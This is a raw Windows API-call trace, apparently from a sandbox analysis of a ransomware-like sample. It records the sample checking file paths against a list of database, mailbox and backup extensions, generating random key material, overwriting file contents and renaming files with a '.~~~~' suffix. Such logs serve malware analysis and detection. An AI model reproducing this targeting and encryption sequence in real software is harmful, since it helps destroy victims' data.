	[0087.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".PST") returned 0x0
	[0087.029] lstrlenW (lpString=".dbf") returned 4
	[0087.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".dbf") returned 0x0
	[0087.029] lstrlenW (lpString=".SQL") returned 4
	[0087.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".SQL") returned 0x0
	[0087.029] lstrlenW (lpString=".pst") returned 4
	[0087.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".pst") returned 0x0
	[0087.029] lstrlenW (lpString=".dbv") returned 4
	[0087.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".dbv") returned 0x0
	[0087.029] lstrlenW (lpString=".SDF") returned 4
	[0087.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".SDF") returned 0x0
	[0087.029] lstrlenW (lpString=".dtxs") returned 5
	[0087.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".dtxs") returned 0x0
	[0087.029] lstrlenW (lpString=".db3") returned 4
	[0087.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".db3") returned 0x0
	[0087.030] lstrlenW (lpString=".OST") returned 4
	[0087.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".OST") returned 0x0
	[0087.030] lstrlenW (lpString=".dbx") returned 4
	[0087.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".dbx") returned 0x0
	[0087.030] lstrlenW (lpString=".DB3") returned 4
	[0087.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".DB3") returned 0x0
	[0087.030] lstrlenW (lpString=".DAT") returned 4
	[0087.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".DAT") returned 0x0
	[0087.030] lstrlenW (lpString=".VHDX") returned 5
	[0087.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".VHDX") returned 0x0
	[0087.030] lstrlenW (lpString=".ndf") returned 4
	[0087.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".ndf") returned 0x0
	[0087.030] lstrlenW (lpString=".DB") returned 3
	[0087.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".DB") returned 0x0
	[0087.030] lstrlenW (lpString=".sql") returned 4
	[0087.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".sql") returned 0x0
	[0087.030] lstrlenW (lpString=".MYD") returned 4
	[0087.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".MYD") returned 0x0
	[0087.030] lstrlenW (lpString=".DBT") returned 4
	[0087.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".DBT") returned 0x0
	[0087.030] lstrlenW (lpString=".ACCDB") returned 6
	[0087.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".ACCDB") returned 0x0
	[0087.030] lstrlenW (lpString=".fdb") returned 4
	[0087.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".fdb") returned 0x0
	[0087.030] lstrlenW (lpString=".bak") returned 4
	[0087.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".bak") returned 0x0
	[0087.031] lstrlenW (lpString=".myd") returned 4
	[0087.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".myd") returned 0x0
	[0087.031] lstrlenW (lpString=".DTXS") returned 5
	[0087.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".DTXS") returned 0x0
	[0087.031] lstrlenW (lpString=".ckp") returned 4
	[0087.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".ckp") returned 0x0
	[0087.031] lstrlenW (lpString=".dbt") returned 4
	[0087.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".dbt") returned 0x0
	[0087.031] lstrlenW (lpString=".db") returned 3
	[0087.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".db") returned 0x0
	[0087.031] lstrlenW (lpString=".TXT") returned 4
	[0087.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".TXT") returned 0x0
	[0087.031] lstrlenW (lpString=".MDF") returned 4
	[0087.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".MDF") returned 0x0
	[0087.031] lstrlenW (lpString=".bdb") returned 4
	[0087.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".bdb") returned 0x0
	[0087.031] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0087.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0087.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0087.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363030
	[0087.031] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395410) returned 1
	[0087.033] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0087.033] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0087.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0087.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0087.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0087.033] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20702290390) returned 1
	[0087.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9dae4d30, dwHighDateTime=0x1d60e1e)) 
	[0087.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0087.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0087.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0087.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b1a8
	[0087.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b1a8 | out: hHeap=0x300000) returned 1
	[0087.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb960
	[0087.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2158
	[0087.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb960 | out: hHeap=0x300000) returned 1
	[0087.033] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0087.034] GetLastError () returned 0x0
	[0087.034] GetLastError () returned 0x0
	[0087.034] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0087.034] GetLastError () returned 0x0
	[0087.034] GetLastError () returned 0x0
	[0087.108] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.108] WriteFile (in: hFile=0x11c, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0087.109] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.109] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.110] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.110] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.110] CloseHandle (hObject=0x11c) returned 1
	[0087.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6a00
	[0087.110] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll.~~~~")) returned 1
	[0087.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0087.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0087.111] GetLastError () returned 0x0
	[0087.121] lstrlenW (lpString=".sqb") returned 4
	[0087.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".sqb") returned 0x0
	[0087.121] lstrlenW (lpString=".ost") returned 4
	[0087.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".ost") returned 0x0
	[0087.121] lstrlenW (lpString=".txt") returned 4
	[0087.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".txt") returned 0x0
	[0087.121] lstrlenW (lpString=".mdt") returned 4
	[0087.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".mdt") returned 0x0
	[0087.121] lstrlenW (lpString=".BDB") returned 4
	[0087.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".BDB") returned 0x0
	[0087.121] lstrlenW (lpString=".eql") returned 4
	[0087.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".eql") returned 0x0
	[0087.121] lstrlenW (lpString=".DBF") returned 4
	[0087.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".DBF") returned 0x0
	[0087.121] lstrlenW (lpString=".EQL") returned 4
	[0087.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".EQL") returned 0x0
	[0087.122] lstrlenW (lpString=".FDB") returned 4
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".FDB") returned 0x0
	[0087.122] lstrlenW (lpString=".EDB") returned 4
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".EDB") returned 0x0
	[0087.122] lstrlenW (lpString=".DACPAC") returned 7
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".DACPAC") returned 0x0
	[0087.122] lstrlenW (lpString=".VHD") returned 4
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".VHD") returned 0x0
	[0087.122] lstrlenW (lpString=".DBV") returned 4
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".DBV") returned 0x0
	[0087.122] lstrlenW (lpString=".dacpac") returned 7
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".dacpac") returned 0x0
	[0087.122] lstrlenW (lpString=".sdf") returned 4
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".sdf") returned 0x0
	[0087.122] lstrlenW (lpString=".accdb") returned 6
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".accdb") returned 0x0
	[0087.122] lstrlenW (lpString=".DBX") returned 4
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".DBX") returned 0x0
	[0087.122] lstrlenW (lpString=".MDT") returned 4
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".MDT") returned 0x0
	[0087.122] lstrlenW (lpString=".SQB") returned 4
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".SQB") returned 0x0
	[0087.122] lstrlenW (lpString=".vhd") returned 4
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".vhd") returned 0x0
	[0087.122] lstrlenW (lpString=".bac") returned 4
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".bac") returned 0x0
	[0087.122] lstrlenW (lpString=".mdf") returned 4
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".mdf") returned 0x0
	[0087.122] lstrlenW (lpString=".BAK") returned 4
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".BAK") returned 0x0
	[0087.122] lstrlenW (lpString=".BAC") returned 4
	[0087.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".BAC") returned 0x0
	[0087.123] lstrlenW (lpString=".dbs") returned 4
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".dbs") returned 0x0
	[0087.123] lstrlenW (lpString=".vhdx") returned 5
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".vhdx") returned 0x0
	[0087.123] lstrlenW (lpString=".NDF") returned 4
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".NDF") returned 0x0
	[0087.123] lstrlenW (lpString=".dat") returned 4
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".dat") returned 0x0
	[0087.123] lstrlenW (lpString=".DBS") returned 4
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".DBS") returned 0x0
	[0087.123] lstrlenW (lpString=".CKP") returned 4
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".CKP") returned 0x0
	[0087.123] lstrlenW (lpString=".edb") returned 4
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".edb") returned 0x0
	[0087.123] lstrlenW (lpString=".PST") returned 4
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".PST") returned 0x0
	[0087.123] lstrlenW (lpString=".dbf") returned 4
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".dbf") returned 0x0
	[0087.123] lstrlenW (lpString=".SQL") returned 4
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".SQL") returned 0x0
	[0087.123] lstrlenW (lpString=".pst") returned 4
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".pst") returned 0x0
	[0087.123] lstrlenW (lpString=".dbv") returned 4
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".dbv") returned 0x0
	[0087.123] lstrlenW (lpString=".SDF") returned 4
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".SDF") returned 0x0
	[0087.123] lstrlenW (lpString=".dtxs") returned 5
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".dtxs") returned 0x0
	[0087.123] lstrlenW (lpString=".db3") returned 4
	[0087.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".db3") returned 0x0
	[0087.124] lstrlenW (lpString=".OST") returned 4
	[0087.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".OST") returned 0x0
	[0087.124] lstrlenW (lpString=".dbx") returned 4
	[0087.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".dbx") returned 0x0
	[0087.124] lstrlenW (lpString=".DB3") returned 4
	[0087.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".DB3") returned 0x0
	[0087.124] lstrlenW (lpString=".DAT") returned 4
	[0087.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".DAT") returned 0x0
	[0087.124] lstrlenW (lpString=".VHDX") returned 5
	[0087.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".VHDX") returned 0x0
	[0087.124] lstrlenW (lpString=".ndf") returned 4
	[0087.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".ndf") returned 0x0
	[0087.124] lstrlenW (lpString=".DB") returned 3
	[0087.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".DB") returned 0x0
	[0087.124] lstrlenW (lpString=".sql") returned 4
	[0087.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".sql") returned 0x0
	[0087.124] lstrlenW (lpString=".MYD") returned 4
	[0087.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".MYD") returned 0x0
	[0087.124] lstrlenW (lpString=".DBT") returned 4
	[0087.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".DBT") returned 0x0
	[0087.124] lstrlenW (lpString=".ACCDB") returned 6
	[0087.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".ACCDB") returned 0x0
	[0087.124] lstrlenW (lpString=".fdb") returned 4
	[0087.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".fdb") returned 0x0
	[0087.125] lstrlenW (lpString=".bak") returned 4
	[0087.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".bak") returned 0x0
	[0087.125] lstrlenW (lpString=".myd") returned 4
	[0087.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".myd") returned 0x0
	[0087.125] lstrlenW (lpString=".DTXS") returned 5
	[0087.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".DTXS") returned 0x0
	[0087.125] lstrlenW (lpString=".ckp") returned 4
	[0087.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".ckp") returned 0x0
	[0087.125] lstrlenW (lpString=".dbt") returned 4
	[0087.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".dbt") returned 0x0
	[0087.125] lstrlenW (lpString=".db") returned 3
	[0087.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".db") returned 0x0
	[0087.125] lstrlenW (lpString=".TXT") returned 4
	[0087.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".TXT") returned 0x0
	[0087.125] lstrlenW (lpString=".MDF") returned 4
	[0087.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".MDF") returned 0x0
	[0087.125] lstrlenW (lpString=".bdb") returned 4
	[0087.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".bdb") returned 0x0
	[0087.125] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0087.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0087.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0087.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0087.125] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0087.126] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.126] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0087.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
